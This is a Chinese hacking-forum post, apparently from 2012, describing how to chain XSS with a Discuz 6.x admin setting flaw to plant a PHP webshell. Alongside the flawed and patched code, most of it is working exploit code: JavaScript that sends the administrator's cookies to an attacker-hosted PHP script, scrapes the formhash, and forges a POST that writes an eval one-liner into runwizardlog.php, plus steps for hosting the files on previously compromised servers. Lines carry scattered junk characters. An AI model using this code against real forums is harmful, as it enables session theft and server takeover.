找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3720|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell0 b- H" }2 d: P/ ~
By racle @tian6.com6 ^& U  E; ?3 U* s4 B6 g
欢迎转帖.但请保留版权信息.
% x  b* O0 I3 X8 Z5 k& ]% O* i- L受影响版本iscuz<=6.1.0,gbk+utf+big5: V) v" @" n& Y. X4 b
6 j8 c$ }* y) j2 \
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
. V8 _* O0 t1 l& g) ~4 _. W. m/ l. t7 p( {4 M% l/ o

% s; A9 L1 \" D3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706- \9 J) \( T: B# `$ L- B- p
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.# @9 R8 u3 l! b4 v$ A( ~
, b! M9 _) S) y) P( [! _! C, ~; C
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..- a" ?* o$ b2 R4 d" Y
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS. z2 A) Q; |8 x  \
1 O: j' x" W5 S" u
) b6 g* j+ |5 J$ Q9 l
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------& U6 b& l  U% k! K. e- I
& p, b  N* u2 y6 s3 [! |
  E* q8 B/ ]* E3 _
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
& X; c  ]/ F% i. o; V" r2 f# F; Y0 E. Y" g% d5 `
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.7 Y( ~5 A8 [6 [; {0 S& v/ s$ m  D

- t. q) r# h' m7 L' L' K4 T' [problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.+ v1 b$ [4 J% _7 B1 Q" y+ W. G1 J7 ^4 r

; e/ K* m- D- r1 M
" D6 l5 G, h& j" H& B2 a/ I& P下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
) m5 N) s- T# b1 U; b. q/ C( g( d  A4 L- @' I
        global $runwizardfile, $runwizardhistory;
# f9 j) ?" k0 K! D4 G8 p7 M7 s4 P4 T, I" i/ R1 G/ J. r- e
        $fp = fopen($runwizardfile, 'w');
' n. |( U. \. G/ b1 w2 k2 y
9 }& k8 n# K4 `0 F  w7 S/ @' R        fwrite($fp, serialize($runwizardhistory));
7 C' o2 F5 O* u! C$ _) R% n; x  {9 p0 c' [; h- s1 H7 l5 n# N/ N0 w
        fclose($fp);* x; [1 ?6 k0 L  @8 S
* n8 y) ~$ q0 ?1 A+ E1 F
}
2 o  [: j9 I- U* f2 j0 B2 v2 H复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
6 c% u, `0 P( H2 }( ]# s  o& ^以下是修补的办法:function saverunwizardhistory() {) F9 b8 a8 K  Z+ w
2 n, z( J1 }# `" d. f9 Z, G1 T* i
        global $runwizardfile, $runwizardhistory;
; g. C# q7 I( p; E/ ?8 m" i) [' I. v
        $fp = fopen($runwizardfile, 'w');
" f' a' o; z5 n) b/ U9 D  u# V9 I1 _  _) j. s8 b# b
        $s = '<?php exit;?>';
& f' J  Q- T6 ^6 b2 c) D! {, S, o1 P  Z& Z/ [  i! r
        $s .= serialize($runwizardhistory);
5 A4 X# a, \' X2 n; S+ r( E! g
& X+ |+ `% y) f- s) N0 y        fwrite($fp, $s);
  y  L- B  P4 A8 }- H. ?4 x* q: [! i: ]4 _4 e$ {! z8 @& ~2 |# I
        fclose($fp);8 N+ G1 E0 w, E* M" K) w5 |
" n" ~& S0 I0 _" b  G: ?7 {
}
% \, R+ d  N/ [2 F复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.& M' s, ~4 P6 c

% d, `$ ?- N0 Z8 E7 x+ v! W. F: Q3 o* A8 t
( J5 D# X9 J  q% S) o: u, x
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------& B4 @; |" M3 ]- Y0 P

$ F* T0 b/ Q  ^! z+ T# a. `) I0 ~2 ~' b# t( k
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.0 E( T/ I3 I* D% q
0 e/ Q: }4 T& D8 F
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.1 Q* R3 D$ y1 V! _

% i* X# z9 ^( H- d这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
* O. k1 U* b* p5 z2 n# `
% f+ m; h! ~3 j8 r9 }1 T首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:5 ]8 Y; O' b" Y2 j. I1 W

6 P- D$ M8 y, t9 Mvar url="http://目标网站/admincp.php";      
. n( U" G1 C+ Y6 [- k
$ S$ y$ z! Q1 l0 p/*获得cookies*/+ w: d5 M  x6 m" Y1 n

0 L+ w' p! g* y% U, dfunction getURL(s) {4 A/ l' ~- z0 g* c

( c+ V4 O* T3 Kvar image = new Image();
, o: i, b+ @7 M% I+ t
# l4 O' A8 r% _- Y( timage.style.width = 0;
- K9 w* N8 w4 J) P+ C# }& I3 i# Z$ Z6 b
image.style.height = 0;# N" l# \6 H( H: F

/ l" k7 z/ C( ^# G2 o8 J1 cimage.src = s;
6 @+ Y: k4 ~, `& i! k: p$ h6 A3 w  G+ |" f: H$ T3 `' K+ F2 _
}
' Q5 V& c: L4 ]! ]. h' {. i6 ?0 K; h# d: p# p+ }
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
) u8 Z3 |2 f( o3 \复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
  g" e% b* Y3 \5 W: Q9 Z复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) - L9 T# Y) K3 g) M3 ?- ]
5 d2 Q9 u/ d$ Y; `' y8 n7 q

. _7 T- T0 x1 o2 ~) Y- `获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
0 C: {( }; |" E; V; X- U4 J
. B" F' t8 q; [5 o- U% ^+ d; Q7 _+ E
1 q, x# k, J" K; Q% p/ }
/*hash*/
! K* q. G% K) [9 Q, a9 ~
8 B1 t  x' U' s  K1 Avar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
* a1 b+ d" y5 J% W- S* v% c
+ j4 z" L% S/ ]9 {7 oxmlHttpReq.open("GET", url+"admincp.php?action=home", false);
1 n& u0 k3 ?' `9 E4 a; b+ b3 Q9 U3 r) [  X6 v2 C1 ]. ~
xmlHttpReq.send();
# O4 C5 N( f& C6 m2 y1 T( X
, H. V! H7 n( M4 _9 cvar resource = xmlHttpReq.responseText;
: h3 n, k- G* K7 J8 o
- Q/ I- H2 k- g% E. }var numero = resource.search(/formhash/);. P, E+ I: h# D: v
7 q$ e9 z5 h7 {
var formhash=encodeURIComponent(resource.substr(numero+17,8));
# `2 T6 l( d8 Q2 k% b- R8 f. d* v0 M
4 Q1 \9 W' L& k2 x8 E  o$ i' G- ?3 E7 W5 p# O( t- p
2 ]* U* U5 ]1 A2 T( }
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
  {% G  o' Z5 v7 t7 v! R. v" X; |9 ?+ ]9 p
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
, ~3 c7 g" b* b, H( s+ g# t' o. L$ u5 E$ B# A$ Q* Z5 U
xmlHttpReq.setRequestHeader("Referer", url);
" y# l- P# R$ w2 {5 X; ~: p7 {8 w; d1 i/ R
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");! c8 V" p. p* ~5 {+ L1 D7 t, L
# W. u5 F# [; `/ @
xmlHttpReq.setrequestheader("content-length",post.length); 7 q6 G& Q1 k! O" I, J, D

  X9 a) Q, ~; e+ O9 cxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); , S  k: u; e1 [* K

! [+ _7 @: @# }* |7 ~7 _xmlHttpReq.send(post);//发送数据
( @" w  B1 u8 g$ |- z+ ~复制代码这里HASH我假设正确,这样提交,也无须cookies
0 j0 Z, ?/ o- Z5 w$ d0 n( j" J
2 j5 }9 b2 `2 O1 M% [4 }再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
" |8 n4 ^# X. k% p% q6 s
0 F. u2 X/ D0 w0 t/ a+ Vif (!$sock) die("$errstr ($errno)\n");
* A1 x' d/ h3 Z9 U( n& h
8 t- r; \" m+ L* g. \4 g$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';( X% d- A5 k- Y" N

. ^( _6 G2 ^7 B( G5 Z9 b  |' h6 a; l3 F4 J+ p8 e# ~

5 f. o2 `2 J8 _+ }" d# Ifwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
9 U; G* c! m/ w+ j4 b1 i: W! b) L( `/ n" {/ U
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");9 j2 r! Z5 y7 S3 ~( k
! @% O, `+ ]6 O( e7 v1 w
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
+ k" u  P- `! [) e, f7 s. p+ \1 h1 K
fwrite($sock, "Accept-Language: zh-cn\r\n");
3 n* _* c1 l5 F/ Y7 S, d/ J
$ m$ h, L' o/ b8 C6 l- Qfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");# `& R5 E' E( N7 q

( t) q4 l3 h# W7 S  Cfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");) l7 y9 i, D3 p( [3 o3 ]

; s& k. L4 B' Y0 i8 g6 \fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");- v& D( u" e* J3 Q, ?) v- D- ?7 T- f

0 ]9 H& ~/ E' Z0 ?0 c; N/ l2 Lfwrite($sock, "Host: $url\r\n");
: x) o- Y+ N8 J% X: Q1 W4 x8 H8 {: Q  q- x
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
# o6 a+ r/ l; T& ^! u2 L
& u# f) A0 R( ?  jfwrite($sock, "Connection: Keep-Alive\r\n");
+ J0 }! c( f7 S2 v1 L8 w0 b4 [2 G) L) }/ b# K. L3 J% m
fwrite($sock, "Cache-Control: no-cache\r\n");
2 r! L  U" t! Q; ^# g3 i- |0 ~' x  Y& M8 ^* H
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");0 o! K. v& }# h" W# `2 U+ {
4 I3 T6 `! p% {
fwrite($sock, $data);
/ w- O9 z; Z3 `8 Y" W/ H" `+ z2 s4 h% s+ n+ I: H$ \3 X

9 g% W- ~# w0 f- z/ ~( `2 X
8 D" r2 F& ~  F$headers = "";. G- }: r# @$ J" f
# f. D) p6 j1 ?8 ^2 k# v
while ($str = trim(fgets($sock, 4096)))
+ `& ^2 `4 H& M. B% L! J$ b/ Y
1 k! m) |- D: E" Z8 C) H# ~     $headers .= "$str\n";, Z* H5 S2 _$ U7 R+ c+ ]1 A
' o' k% V) }1 `( S7 V0 i/ L
echo "\n";6 }& S& u' r. Z" C) S3 x& M
4 M" \* z; V  Y* ~2 j& ?2 i0 H4 ?/ @
$body = "";
+ }5 C" v. R3 Y3 a: @3 T
4 r* ]7 [" h3 Z/ A! h4 K0 b8 X7 \while (!feof($sock))
$ u. ]1 O& L2 o3 K+ n7 _- Q2 J  S% K( _/ K( a3 S
     $body .= fgets($sock, 4096);6 g! A) U2 w& u7 E6 e

! H  E$ F1 e4 N' U/ sfclose($sock);
5 T/ |8 G  H! P3 P* j; ^$ R- p" ^3 P" G" i
echo $body;* \1 S$ l  b! C; @- `; t! u- ~
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^, Y7 B' R  o6 _$ n' l4 {+ a. w
2 r0 @2 t6 R- _5 u6 b- h, w- k

( s+ u3 K8 ], w# z-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------8 H! M# X1 I; m
+ n' C: J' m$ |" p! A
" _+ e$ `- Q( J) ~' U6 D/ b
1HP SOCKET利用方法首先打开racle.js( ~% o3 O! {. M, D) R( k# C) Z

) ^( V2 d: A8 q, e! g4 N" c0 zvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home/ x# }* |) }/ h0 y, L* I1 `1 R/ ~
4 A( i* J6 v% Y5 I

; L; Y# w" ~0 U9 z! P' z. R# P/ i  J
8 ]! J1 }$ D- G9 L# |7 e然后打开racle@tian6.php' R& p6 k4 ?5 Y/ F! d- Z

" [, K' f* a1 C1 {$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com. c: w/ u+ a( V4 w; P5 @

* K, a' V6 x; w2 r0 j$ x8 Y; d6 B9 D8 b, Z" `6 F& x

6 H% N% S, Y) x5 V; [如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:$ I' s* C4 W1 }
- F7 w5 ?9 r. A8 I# l
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));2 @& K* }, j! F9 R

: N5 b" K' }+ D& Z9 ^6 `' w* z. u  v0 v0 x

3 y& L% x2 w7 n6 W$ n9 HgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));* q6 q  t( S2 ~
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.0 u4 a# n4 i& t5 o1 A- t# g+ c. j
7 Z2 e- S& i" }9 B+ w! ~- }

' h" ]9 R$ E& v, L& [* k" ]) q" U3 a6 |8 D
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
- Q% s3 s, d% x9 ?  ?$ R
% |# F2 |  y9 kvar formhash=encodeURIComponent(resource.substr(numero+17,8));
4 Y- X' E7 f+ ^6 _( l* Z% v2 v5 |! ~. J( n6 h8 W2 x

1 l/ n) E$ I1 ]5 G0 i! I5 D. T" J% Y, z" o+ K8 [
var formhash=encodeURIComponent(resource.substr(numero+9,8));6 ~$ Z4 D8 V4 Q' }
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
1 ]  n( B) n! i' l( w
' t4 |) q) D& q' @如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
; J8 f, h' L4 w
( F0 V& s2 k/ U% ?( z如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点." T5 R% Y6 `7 `0 l
9 j8 _" z2 [3 r( L' Q
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.2 d( b( y: K" H' m+ E5 r
$ Y$ N0 W. X0 d  s  f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表